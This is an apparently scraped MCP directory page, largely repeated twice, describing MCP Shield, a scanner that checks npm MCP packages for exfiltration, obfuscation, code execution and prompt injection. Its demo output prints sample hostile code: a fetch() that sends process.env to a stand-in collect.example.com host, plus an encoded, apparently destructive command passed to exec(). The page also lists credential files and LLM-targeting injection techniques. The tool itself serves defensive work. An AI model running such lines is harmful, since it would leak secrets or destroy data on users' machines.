What security issues does it detect?

It detects patterns involving data exfiltration, dynamic code execution, obfuscation, sensitive file access, and prompt injection.

What supply chain information does it provide?

It reports package age, download count, maintainer count, trust score, and known CVEs in dependencies.

Does package scanning run lifecycle scripts?

No. npm packages are installed with --ignore-scripts during scanning so postinstall hooks do not run.

Which client is shown in the installation instructions?

The README provides installation instructions for Claude.

MCP Shield

securitymcpstatic-analysisprompt-injectionsupply-chain

Scans MCP server packages and directories for malicious code, prompt injection, and supply chain risks.

Quick Install

Automated & IDE Setup

Copy the AI prompt to install this server into Claude Code, Cursor, or another agent — or use 1-click editor setup below.

Add to Cursor Add to VS Code

Not yet automatically verified

We haven't yet run this listing's install command through our automated sandbox check. This isn't a red flag — we're steadily working through the catalog.

Manual Client & Custom JSON ConfigExpand JSON ▾

Client Config & Setup

Choose your client or environment

Target File:~/Library/Application Support/Claude/claude_desktop_config.json

claude_desktop_config.json

{
  "mcpServers": {
    "muhannad-hash-mcp-shield": {
      "command": "npx",
      "args": [
        "-y",
        "mcp-shield"
      ]
    }
  }
}

💡 Paste the JSON block into your client's configuration file under mcpServers, then restart the application.

Overview

This MCP server analyzes npm packages and local MCP server directories before installation or use. It detects patterns linked to data exfiltration, code execution, obfuscation, sensitive file access, prompt injection, and supply chain risk. Use it to review untrusted MCP servers and inspect package trust signals.

Use cases

Scan an npm MCP package before installing it

Inspect a locally cloned MCP server directory

Check tool descriptions or responses for prompt injection

Audit an npm package's supply chain trust and known vulnerabilities

Key features

Scans npm packages for malicious patterns

Scans local JavaScript and TypeScript directories

Detects exfiltration, code execution, obfuscation, and sensitive file access

Checks for hidden prompt injection techniques

Reports package age, downloads, maintainers, and dependency CVEs

Uses --ignore-scripts when installing packages for analysis

Capabilities & Tool Schemas (4)Self-reported

Inspect callable tools, capabilities, and parameters exposed to AI agents by MCP Shield.

scan_package

Download an npm MCP package and scan it for malicious patterns

scan_directory

Scan a local MCP server directory (cloned from GitHub, etc.)

check_prompt_injection

Check tool descriptions or responses for hidden injections

audit_supply_chain

Get trust score, CVEs, maintainer count, and age for any npm package

Documentation Overview

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

Category	Examples
Exfiltration	`process.env` sent over network, SSH key access, AWS credential reads
Code execution	`eval()`, `new Function()`, `child_process.exec()`, dynamic `require()`
Obfuscation	Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access	`.env`, `id_rsa`, browser cookies, `~/.gitconfig`
Prompt injection	Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain	Package age, download count, maintainer count, CVEs in dependencies

Demo

server.ts

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

Tool	What it does
`scan_package`	Download an npm MCP package and scan it for malicious patterns
`scan_directory`	Scan a local MCP server directory (cloned from GitHub, etc.)
`check_prompt_injection`	Check tool descriptions or responses for hidden injections
`audit_supply_chain`	Get trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

Terminal

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

Terminal

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

config.json

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

Code

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

bash

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Read the full README →View source on GitHub →

Related MCP Servers

View all in Security View all alternatives

Adoption & maintenance

Factual signals from GitHub, npm, and our automated checks — not a rating.

GitHub stars

Stargazers on the source repository.

npm downloads

4.9k

Package downloads in the last 30 days.

Last commit

5mo ago

Most recent push to the default branch.

Tools exposed

Callable tools this server registers over MCP.

Directory activity

2 views

Config copies, upvotes, and views on AllMCPs.

Reviews

No reviews yet — be the first to share how this listing worked for you.

Frequently Asked Questions about MCP Shield

It can scan npm MCP packages and local MCP server directories.

AllMCPs Directory Badge

Full Badge Customizer

Showcase your server listing on GitHub or your project documentation. Embed this dynamic SVG badge to highlight official listing status and live engagement.

Badge Style:

Live Dynamic SVG Preview

Markdown (GitHub README)

[![AllMCPs](https://allmcps.com/api/badge/muhannad-hash-mcp-shield?style=directory)](https://allmcps.com/mcp/muhannad-hash-mcp-shield)

HTML Embed

<a href="https://allmcps.com/mcp/muhannad-hash-mcp-shield"><img src="https://allmcps.com/api/badge/muhannad-hash-mcp-shield?style=directory" alt="MCP Shield on AllMCPs" /></a>

Technical Specs & Signals

CategorySecurity

PricingFree

59Quality signal: Good · 59/100How this signal is calculated ▾

Server availabilityNot measured

Not scored for repo-hosted servers — we can't reach the running server, only its GitHub page. Hosted MCP endpoints are health-checked live.

Verified ownership10/20

Documentation & tools29/30

Adoption & activity5/15

Community engagement0/10

A guidance signal from public completeness & health data — not a user rating. New listings start lower and rise as they add docs, get verified, and grow adoption. Signals we can't observe for a listing are skipped, not counted against it.

Supply-chain signal

No high-severity advisories surfaced by our automated scan.

Critical 0High 0Medium 0Low 0

Scanned 23d ago via OSV.dev · mcp-shield (npm)

★ Featured

AllMCPs Server

The official MCP server for AllMCPs.com - submit and manage tools directly from your AI. The open directory for MCP servers. Connect Claude, Cursor, Windsurf, and AI agents to databases, tools, files, and APIs. Explore 10,000+ servers. AllMCPs is the premier, open directory for discovering, evaluating, and installing Model Context Protocol (MCP) servers to equip AI agents and LLMs with real-world superpowers.

Explore Server →

Own this project?

This directory is pre-filled from public sources. Claim via GitHub README, site badge, or DNS TXT to unlock edit access and the Official badge — proof is checked automatically, then reviewed by our team.

Free dofollow backlink: add your website and place the AllMCPs badge on it — no claim needed. We detect it automatically and keep it verified as long as the badge stays live.

Claim & get free dofollow

Share & Embed

Add our SVG badge (dark/light directory styles) or embeddable widget to your site.

Explore more

More in 🔒 Security →Best MCP servers for Security →Alternatives to MCP Shield →Install in Claude Desktop Install in Cursor Install in VS Code

MCP Shield

securitymcpstatic-analysisprompt-injectionsupply-chain

Scans MCP server packages and directories for malicious code, prompt injection, and supply chain risks.

Quick Install

Automated & IDE Setup

Copy the AI prompt to install this server into Claude Code, Cursor, or another agent — or use 1-click editor setup below.

Add to Cursor Add to VS Code

Not yet automatically verified

We haven't yet run this listing's install command through our automated sandbox check. This isn't a red flag — we're steadily working through the catalog.

Manual Client & Custom JSON ConfigExpand JSON ▾

Client Config & Setup

Choose your client or environment

Target File:~/Library/Application Support/Claude/claude_desktop_config.json

claude_desktop_config.json

{
  "mcpServers": {
    "muhannad-hash-mcp-shield": {
      "command": "npx",
      "args": [
        "-y",
        "mcp-shield"
      ]
    }
  }
}

💡 Paste the JSON block into your client's configuration file under mcpServers, then restart the application.

Overview

Use cases

Scan an npm MCP package before installing it

Inspect a locally cloned MCP server directory

Check tool descriptions or responses for prompt injection

Audit an npm package's supply chain trust and known vulnerabilities

Key features

Scans npm packages for malicious patterns

Scans local JavaScript and TypeScript directories

Detects exfiltration, code execution, obfuscation, and sensitive file access

Checks for hidden prompt injection techniques

Reports package age, downloads, maintainers, and dependency CVEs

Uses --ignore-scripts when installing packages for analysis

Capabilities & Tool Schemas (4)Self-reported

Inspect callable tools, capabilities, and parameters exposed to AI agents by MCP Shield.

scan_package

Download an npm MCP package and scan it for malicious patterns

scan_directory

Scan a local MCP server directory (cloned from GitHub, etc.)

check_prompt_injection

Check tool descriptions or responses for hidden injections

audit_supply_chain

Get trust score, CVEs, maintainer count, and age for any npm package

Documentation Overview

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

Category	Examples
Exfiltration	`process.env` sent over network, SSH key access, AWS credential reads
Code execution	`eval()`, `new Function()`, `child_process.exec()`, dynamic `require()`
Obfuscation	Base64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access	`.env`, `id_rsa`, browser cookies, `~/.gitconfig`
Prompt injection	Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chain	Package age, download count, maintainer count, CVEs in dependencies

Demo

server.ts

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

Tool	What it does
`scan_package`	Download an npm MCP package and scan it for malicious patterns
`scan_directory`	Scan a local MCP server directory (cloned from GitHub, etc.)
`check_prompt_injection`	Check tool descriptions or responses for hidden injections
`audit_supply_chain`	Get trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)

Terminal

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

Terminal

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

config.json

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

Code

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

bash

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Read the full README →View source on GitHub →

Related MCP Servers

View all in Security View all alternatives

Adoption & maintenance

Factual signals from GitHub, npm, and our automated checks — not a rating.

GitHub stars

Stargazers on the source repository.

npm downloads

4.9k

Package downloads in the last 30 days.

Last commit

5mo ago

Most recent push to the default branch.

Tools exposed

Callable tools this server registers over MCP.

Directory activity

2 views

Config copies, upvotes, and views on AllMCPs.

Reviews

No reviews yet — be the first to share how this listing worked for you.

Frequently Asked Questions about MCP Shield

It can scan npm MCP packages and local MCP server directories.

AllMCPs Directory Badge

Full Badge Customizer

Showcase your server listing on GitHub or your project documentation. Embed this dynamic SVG badge to highlight official listing status and live engagement.

Badge Style:

Live Dynamic SVG Preview

Markdown (GitHub README)

[![AllMCPs](https://allmcps.com/api/badge/muhannad-hash-mcp-shield?style=directory)](https://allmcps.com/mcp/muhannad-hash-mcp-shield)

HTML Embed

<a href="https://allmcps.com/mcp/muhannad-hash-mcp-shield"><img src="https://allmcps.com/api/badge/muhannad-hash-mcp-shield?style=directory" alt="MCP Shield on AllMCPs" /></a>

Technical Specs & Signals

CategorySecurity

PricingFree

59Quality signal: Good · 59/100How this signal is calculated ▾

Server availabilityNot measured

Not scored for repo-hosted servers — we can't reach the running server, only its GitHub page. Hosted MCP endpoints are health-checked live.

Verified ownership10/20

Documentation & tools29/30

Adoption & activity5/15

Community engagement0/10

Supply-chain signal

No high-severity advisories surfaced by our automated scan.

Critical 0High 0Medium 0Low 0

Scanned 23d ago via OSV.dev · mcp-shield (npm)

★ Featured

AllMCPs Server

Explore Server →

Own this project?

Free dofollow backlink: add your website and place the AllMCPs badge on it — no claim needed. We detect it automatically and keep it verified as long as the badge stays live.

Claim & get free dofollow

Share & Embed

Add our SVG badge (dark/light directory styles) or embeddable widget to your site.

Explore more

More in 🔒 Security →Best MCP servers for Security →Alternatives to MCP Shield →Install in Claude Desktop Install in Cursor Install in VS Code